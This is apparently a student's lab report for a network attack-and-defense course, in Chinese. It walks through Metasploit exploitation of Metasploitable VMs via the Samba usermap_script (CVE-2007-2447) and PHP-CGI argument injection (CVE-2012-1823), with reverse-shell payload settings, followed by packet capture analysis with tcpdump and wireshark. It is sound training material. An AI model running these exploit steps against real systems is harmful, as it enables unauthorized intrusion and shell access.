20242830 2024-2025-2 《网络攻防实践》第七周作业
20242830 2024-2025-2 《网络攻防实践》第七周作业
一、知识点梳理与总结
本次实验中,攻击方需要全面掌握 Metasploit 框架的运用,这包括但不限于框架的启动方式、模块的精准选择以及参数的合理设置。在启动框架后,攻击者应能够根据目标系统的特性,从众多模块中精准挑选出如 exploit/multi/samba/usermap_script 这类适用于目标漏洞的渗透攻击模块。同时,对于 PAYLOAD 的选择,攻击者需理解远程 shell 正向连接与反向连接的差异,依据网络环境和目标系统的安全配置,选择最合适的连接方式以确保攻击的成功率。在参数设置环节,准确配置 RHOST、LHOST、TARGET 等参数是攻击能否精准命中目标的关键。
防守方的重点在于熟练运用多种网络监听与数据分析工具,构建起一套有效的攻击检测与分析体系。首先,防守人员需要熟悉 tcpdump 的基本操作,能够在命令行环境下快速启动数据包捕获任务,通过设置合适的过滤规则,将与攻击行为相关的数据包从海量网络流量中筛选出来。接着,利用 wireshark 强大的图形化界面和数据分析功能,对捕获的数据包进行深入剖析,通过查看数据包的各个层级信息,包括源目 IP 地址、端口号、协议类型以及数据载荷内容等,逐步还原攻击过程的全貌。
1. 实验环境
-
运行环境:VMware、Windows
-
虚拟机选择:靶机——Metasploitable;攻击机——kali
-
kali:192.168.200.5
-
winxp:192.168.200.4
-
Metasploitable:192.168.200.123
-
win2000:192.168.200.124
2. 实验内容与原理
-
PAYLOAD 的选择与配置:掌握远程 shell 类型(正向或反向连接)PAYLOAD 的特点和适用场景,能够根据目标系统的环境和网络情况选择合适的 PAYLOAD,并了解其相关参数的设置方法。
-
执行与结果验证:学会执行渗透攻击命令,并能够通过查看 Metasploit 返回的信息来判断攻击是否成功,以及如何进一步在获得的远程 Shell 中查看权限等信息,以评估攻击的效果和后续操作的可能性。
-
Samba 服务漏洞理解:深入了解 Samba 服务 Usermap_script 安全漏洞的原理,包括漏洞产生的原因、攻击者如何利用该漏洞获取系统权限等,为后续的渗透攻击提供理论基础。
| 实验内容 | 如何实现 | 其他 |
|---|---|---|
| Metasploit框架的使用 | 模块选择与应用、PAYLOAD 的选择与配置、攻击参数设置、执行与结果验证 | 熟练掌握 msfconsole、msfgui、msfweb 等不同启动方式,能根据实际需求和个人习惯选择合适的界面来操作 Metasploit 框架 |
| Linux 系统安全与漏洞利用 | Samba 服务漏洞理解、权限提升意识 | 成功获取目标 Linux 靶机的主机访问权限后,具备进一步尝试获取 root 权限的意识和思路 |
| 网络监听工具的使用 | tcpdump 基本操作、tcpdump 基本操作、snort 规则与应用 | 掌握 tcpdump 命令的基本语法和常用参数、学会使用 wireshark 打开捕获的数据包文件 |
| 攻击过程分析与信息提取 | 攻击者信息提取、目标信息识别、攻击时间确定、攻击细节剖析 | 通过对网络数据包的分析,能够准确提取出攻击者的 IP 地址,了解其在网络攻击中的位置和来源 |
CVE-2007-2447:Samba协议的一个漏洞,用户名映射脚本命令执行。该漏洞影响Samba的3.0.20到3.0.25rc3 版本,当使用非默认的用户名映射脚本配置选项时产生,通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令。
二、实验过程
1.任务一:使用Metasploit进行Linux远程渗透攻击,使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限
1.1 概念:Metasploit 是一款开源的安全工具框架,用户可以免费下载并使用。它提供了大量现成的漏洞利用模块,能够帮助安全研究人员和攻击者快速测试或利用已知的软件漏洞。自 H.D. Moore 在 2003 年首次发布以来,这个工具彻底改变了计算机安全领域的格局。它让普通人也能轻松掌握攻击能力,只需几条命令就能针对未修复或刚修复的漏洞发起攻击。由于 Metasploit 团队持续更新和开源其漏洞利用工具,软件厂商不得不加快漏洞补丁的发布速度,以应对这一工具带来的压力。
1.2 使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。
首先开启kali和mete_Ubuntu虚拟机,使用命令打开Metasploit,并等待它加载完成
msfconsole

1.3 使用Samba服务的 usermap_script 安全漏洞,使用命令如下:
use exploit/multi/samba/usermap_script

- 然后我们设置攻击载荷为TCP反向连接载荷,并设置lhost为攻击机IP,rhost为靶机IP,target设置为0即自动,具体命令为:
set payload payload/cmd/unix/reverse
set LHOST 192.168.200.5
set RHOST 192.168.200.3
show options

1.4 最后使用命令即可获取靶机的Shell
exploit


这样就成功获取了靶机的shell
2.任务二:攻防对抗实践
2.1攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
攻击方IP:192.168.200.5
靶机IP:192.168.200.124
2.2 这里我使用了PHP-CGI Query String Parameter Injection Arbitrary Code Execution漏漏洞洞进行攻击,使用攻击命令如下
use exploit/multi/http/php_cgi_arg_injection
set RHOST 192.168.200.124
exploit

CVE-2012-1823:用户请求的querystring被作为了php-cgi的参数执行了,命令行参数不仅可以通过 #!/usr/local/bin/php-cgi -d include_path=/path 的方式传入php-cgi,还可以通过querystring的方式传入
2.3之后输入命令 ,即可拿到靶机的Shell,但需要进一步提权才能够拿到root权限
shell

2.4 防御过程中,先测试连通性,进行渗透攻击分析
攻击方IP:192.168.200.5
靶机IP:192.168.200.4

2.5 抓包分析
-
可以看到请求和响应包,还可以看到版本信息


-
问题1:在使用Metasploitable2-Linux,攻击机无法Ping通靶机IP。

-
问题1解决方案:将Metasploitable2-Linux接入桥接网卡,然后通过命令 sudo /etc/rc.local ,修改其中包含ipconfig的命令使得IP地址符合桥接网络的IP范围并使网关为桥接网络的网关。
-
问题二:一开始我用kali连接靶机的时候ping不通,无法进行漏洞攻击

-
问题二解决方案:结果后来我发现是因为之前在教室为了连接校园网,我在笔记本的网络配置里面将VMware的虚拟网络全部禁用了,导致msfconsole功能无法使用,我将它们全部开启就完成了本次实验。
四、学习感悟与思考
通过本次实验,我对网络安全领域的攻防对抗有了更深刻的理解。从攻击者的视角来看,熟练掌握渗透测试工具和漏洞利用技术,能够帮助我们更高效地发现系统中的潜在安全漏洞。然而,这些技术一旦被恶意利用,也可能对网络安全构成严重威胁。因此,在学习和使用这些技术时,必须严格遵守法律法规和道德规范,确保所有操作都在授权范围内进行。从防守者的视角来看,通过网络监听和数据分析工具进行攻击检测和溯源的过程让我认识到,网络安全防护不仅依赖于事前的防范措施,事后及时发现和分析攻击行为同样重要。只有深入了解攻击者的手段和行为特征,才能不断完善防御体系,提升系统的安全性和抗攻击能力。
在实验过程中,我通过查阅相关资料,顺利完成了实验任务。总体而言,本次实验的难度适中,工作量也不算大。但值得注意的是,无论是Linux还是Windows靶机,未及时更新的软件都可能成为攻击者利用的突破口。这提醒我们,保持软件的及时更新是减少已知漏洞风险的重要手段。

浙公网安备 33010602011771号